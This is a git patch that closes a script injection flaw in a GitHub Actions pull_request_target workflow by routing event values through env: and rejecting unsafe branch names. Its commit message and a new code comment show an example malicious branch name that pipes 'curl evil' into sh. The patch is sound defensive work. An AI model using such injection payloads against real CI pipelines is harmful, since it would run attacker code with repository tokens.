From 226c4cf8177b0d415122c03d8cbc89133bda2818 Mon Sep 17 00:00:00 2001 From: "Jonathan D.A. Jewell" <6759885+hyperpolymath@users.noreply.github.com> Date: Tue, 15 Sep 2026 09:07:51 +0100 Subject: [PATCH] fix(security): close script injection in the pull_request_target gate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `security-gate-pr-target.yml` runs on `pull_request_target`, i.e. in the BASE repository context with base-repo permissions, and interpolated a fork's own branch name directly into a `run:` body: PR_BRANCH="${{ github.event.pull_request.head.ref }}" `${{ }}` is expanded into the script TEXT by the runner before bash parses it, so a fork PR opened from a branch named `x";curl evil|sh;"` executes arbitrary commands here holding this job's token. Branch names permit `"`, `;`, backtick and `|`; repository and owner names do not, which is why the branch name is the exploitable one of the five interpolations in this file. The file's own comment read "This is safe because we're in the base repo context". Being in the base context is precisely what makes it dangerous, and a correct-sounding comment is what disarms review — the comment is replaced with one that states the actual hazard. Fix (both affected steps): - push every `github.event.*` value through `env:` first, then reference it only as a quoted shell variable — the two-step form this estate's own CLAUDE.md prescribes; `--arg`/quoting alone protects nothing, because the expansion happens before the shell sees the line - reject an empty, `-`-prefixed or `..`-containing branch name outright - `git fetch pr-fork -- "$PR_BRANCH"` so a leading dash cannot become a flag - group the `$GITHUB_OUTPUT` writes and quote the redirect target Found by Hypatia WH001 (hyperpolymath/hypatia#791). It was the ONE genuine hit in 450 reported across 523 repositories; the other 449 were a detector defect, fixed in that PR. Verified with the detector: WH001 reports 0 findings on this tree and still fires at line 46 on the unfixed original. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01LGDnVfzpkyDKeHheiRwLgb --- .github/workflows/security-gate-pr-target.yml | 55 +++++++++++++------ 1 file changed, 39 insertions(+), 16 deletions(-) diff --git a/.github/workflows/security-gate-pr-target.yml b/.github/workflows/security-gate-pr-target.yml index 4aea11eda..c9c5e17ba 100644 --- a/.github/workflows/security-gate-pr-target.yml +++ b/.github/workflows/security-gate-pr-target.yml @@ -31,36 +31,59 @@ jobs: - name: Check if PR is from a fork id: fork-check + env: + HEAD_IS_FORK: ${{ github.event.pull_request.head.repo.fork }} + HEAD_REPO: ${{ github.event.pull_request.head.repo.full_name }} + HEAD_OWNER: ${{ github.event.pull_request.head.repo.owner.login }} run: | - if [ "${{ github.event.pull_request.head.repo.fork }}" = "true" ]; then - echo "is_fork=true" >> $GITHUB_OUTPUT - echo "fork_repo=${{ github.event.pull_request.head.repo.full_name }}" >> $GITHUB_OUTPUT - echo "fork_owner=${{ github.event.pull_request.head.repo.owner.login }}" >> $GITHUB_OUTPUT + if [ "$HEAD_IS_FORK" = "true" ]; then + { + echo "is_fork=true" + echo "fork_repo=$HEAD_REPO" + echo "fork_owner=$HEAD_OWNER" + } >> "$GITHUB_OUTPUT" else - echo "is_fork=false" >> $GITHUB_OUTPUT + echo "is_fork=false" >> "$GITHUB_OUTPUT" fi - name: Extract PR branch for safe checkout if: steps.fork-check.outputs.is_fork == 'true' id: pr-checkout + env: + PR_BRANCH: ${{ github.event.pull_request.head.ref }} + FORK_REPO: ${{ github.event.pull_request.head.repo.full_name }} run: | - # We need to safely checkout the PR branch from the fork - # This is safe because we're in the base repo context - PR_BRANCH="${{ github.event.pull_request.head.ref }}" - FORK_REPO="${{ github.event.pull_request.head.repo.full_name }}" - + # Check out the PR branch from the fork. + # + # SECURITY — read before editing. This job runs on + # `pull_request_target`, which means it executes in the BASE + # repository context holding BASE repository permissions. That is + # exactly why a fork's branch name must NEVER be interpolated into + # this script: `${{ }}` is expanded into the script TEXT by the + # runner before bash ever parses it, so a fork branch named + # `x";curl evil|sh;"` would run here with this job's token. Being in + # the base context is what makes it dangerous, not what makes it + # safe. Both values therefore arrive through `env:` above and are + # only ever referenced as quoted shell variables. + case "$PR_BRANCH" in + ""|-*|*..*) + echo "::error::refusing to check out an unsafe branch name" + exit 1 + ;; + esac + echo "Checking out PR branch from fork: $FORK_REPO/$PR_BRANCH" - + # Add the fork as a remote temporarily git remote add pr-fork "https://github.com/$FORK_REPO.git" 2>/dev/null || true - + # Fetch the PR branch - git fetch pr-fork "$PR_BRANCH" 2>/dev/null || true - + git fetch pr-fork -- "$PR_BRANCH" 2>/dev/null || true + # Checkout the PR branch git checkout -f "pr-fork/$PR_BRANCH" 2>/dev/null || git checkout -f "$PR_BRANCH" 2>/dev/null || true - - echo "pr_checked_out=true" >> $GITHUB_OUTPUT + + echo "pr_checked_out=true" >> "$GITHUB_OUTPUT" - name: Security Scan - Secrets Detection if: steps.fork-check.outputs.is_fork == 'true' && steps.pr-checkout.outputs.pr_checked_out == 'true'